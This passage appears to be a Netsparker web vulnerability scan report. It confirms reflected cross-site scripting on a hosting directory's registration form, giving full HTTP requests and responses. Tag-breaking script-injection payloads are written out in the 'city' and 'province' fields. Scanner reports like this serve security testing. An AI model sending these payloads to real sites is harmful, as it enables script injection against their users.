marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
<option value='D0E46F1E563A2C867EA93AC725A5C7BDC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Linux VPS Hosting</option><option value='D0E46F1E563A2C86C8036446373D7E416F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Host 5 sites for $5.95</option><option value='D0E46F1E563A2C86DA6FA2E3FF9E6C66C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='D0E46F1E563A2C86DA423F8396ACC089C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>1&1</option><option value='D0E46F1E563A2C8679EA3CE3AE76CC866F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='D0E46F1E563A2C86173B8F57FD99F725C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>iWeb Technology</option><option value='D0E46F1E563A2C863655FD07AE2E5568C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>SingleHop</option><option value='D0E46F1E563A2C86A9273E5565A0F8396F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Serverconnect@SwedishHost</option><option value='D0E46F1E563A2C867F4A7342F4415A65C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>OnApp - Build Your Cloud</option><option value='D0E46F1E563A2C8663412964F13089826F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
<option value='D0E46F1E563A2C869D66BD52295C0E84C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>GlowHost $4.95 Hosting</option><option value='D0E46F1E563A2C8636BF3F7A9E56BC33C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Unlimited Hosting $2.99/m</option><option value='D0E46F1E563A2C8616D98C672FFE6229C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='D0E46F1E563A2C86F385A36DC3070737C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Cast-Iron Hosting Review</option><option value='D0E46F1E563A2C86EF35D15A4851CB04C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='D0E46F1E563A2C8698F4577964A11679C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>resell merchant accounts</option><option value='D0E46F1E563A2C86AFCED5DD067CBFAD6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Cheap Reseller Hosting</option><option value='D0E46F1E563A2C864DFD727BDE6CC6336F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>PremiumReseller.com</option><option value='D0E46F1E563A2C86E5B3D191CD7F4DBD6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <span class="redstar">*</span>&nbsp;<strong>There is a minimum $25 deposit. </strong> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value="Smith"> <..
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
company_name POST Smith
first_name POST Smith
last_name POST Smith
address POST 3
address2 POST 3
city POST '"--></style></script><script>alert(0x001E18)</script>
state POST 3
province POST 3
zip POST 3
country POST 225
phone POST 3
e_mail POST netsparker@example.com
retype_e_mail POST netsparker@example.com
password POST 3
retype_password POST 3
account_type POST 1
deposit POST 3
promo_code POST 3
card_type POST 1
card_number POST 3
expire_date POST 3
owner_first_name POST Smith
owner_last_name POST Smith
copy_from_cont POST 1
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_state POST 3
bill_province POST 3
bill_zip POST 3
bill_country POST 225
bill_phone POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 561
Accept-Encoding: gzip, deflate

company_name=Smith&first_name=Smith&last_name=Smith&address=3&address2=3&city='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001E18)%3c%2fscript%3e&state=3&province=3&zip=3&country=225&phone=3&e_mail=netsparker%40example.com&retype_e_mail=netsparker%40example.com&password=3&retype_password=3&account_type=1&deposit=3&promo_code=3&card_type=1&card_number=3&expire_date=3&owner_first_name=Smith&owner_last_name=Smith&copy_from_cont=1&bill_address=3&bill_address2=3&bill_city=3&bill_state=3&bill_province=3&bill_zip=3&bill_country=225&bill_phone=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 13:38:06 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if (card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { alert('Not all fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if (!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge $"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType function checkAgain(src) { var sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
<option value='D0E46F1E563A2C86FDCD2AAF3CDB50BDC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Linux VPS Hosting</option><option value='D0E46F1E563A2C860B691E9FFA2AB1146F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Host 5 sites for $5.95</option><option value='D0E46F1E563A2C86BC6EB27D431268FCC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='D0E46F1E563A2C86488FAFB6DE953FADC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>1&1</option><option value='D0E46F1E563A2C863B65CD6F6B4E0E886F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='D0E46F1E563A2C86C208ABB6AD6319A3C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>iWeb Technology</option><option value='D0E46F1E563A2C86372488783B31D4DBC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>SingleHop</option><option value='D0E46F1E563A2C86E7F1B0CE9F3776D66F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Serverconnect@SwedishHost</option><option value='D0E46F1E563A2C865D1F78A2F05B0006C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>OnApp - Build Your Cloud</option><option value='D0E46F1E563A2C865C950F75A920FC1E6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
<option value='D0E46F1E563A2C860968F33AADFE5357C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>GlowHost $4.95 Hosting</option><option value='D0E46F1E563A2C8628D5CAD6D54FDF41C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Unlimited Hosting $2.99/m</option><option value='D0E46F1E563A2C86FCE057FA0D4407ADC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='D0E46F1E563A2C86BF40B64EEF57CD08C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Cast-Iron Hosting Review</option><option value='D0E46F1E563A2C860097163A42ED0702C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='D0E46F1E563A2C869378CB819604DDE4C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>resell merchant accounts</option><option value='D0E46F1E563A2C8659FE81374E4C7BE46F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Cheap Reseller Hosting</option><option value='D0E46F1E563A2C862FCB1EB69F3FDA616F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>PremiumReseller.com</option><option value='D0E46F1E563A2C86AC436F4CC19B20966F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <span class="redstar">*</span>&nbsp;<strong>There is a minimum $25 deposit. </strong> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value="Smith"> <..
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
company_name POST Smith
first_name POST Smith
last_name POST Smith
address POST 3
address2 POST 3
city POST 3
state POST 3
province POST '"--></style></script><script>alert(0x001E28)</script>
zip POST 3
country POST 225
phone POST 3
e_mail POST netsparker@example.com
retype_e_mail POST netsparker@example.com
password POST 3
retype_password POST 3
account_type POST 1
deposit POST 3
promo_code POST 3
card_type POST 1
card_number POST 3
expire_date POST 3
owner_first_name POST Smith
owner_last_name POST Smith
copy_from_cont POST 1
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_state POST 3
bill_province POST 3
bill_zip POST 3
bill_country POST 225
bill_phone POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 561
Accept-Encoding: gzip, deflate

company_name=Smith&first_name=Smith&last_name=Smith&address=3&address2=3&city=3&state=3&province='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001E28)%3c%2fscript%3e&zip=3&country=225&phone=3&e_mail=netsparker%40example.com&retype_e_mail=netsparker%40example.com&password=3&retype_password=3&account_type=1&deposit=3&promo_code=3&card_type=1&card_number=3&expire_date=3&owner_first_name=Smith&owner_last_name=Smith&copy_from_cont=1&bill_address=3&bill_address2=3&bill_city=3&bill_state=3&bill_province=3&bill_zip=3&bill_country=225&bill_phone=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 13:38:18 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if (card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { alert('Not all fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if 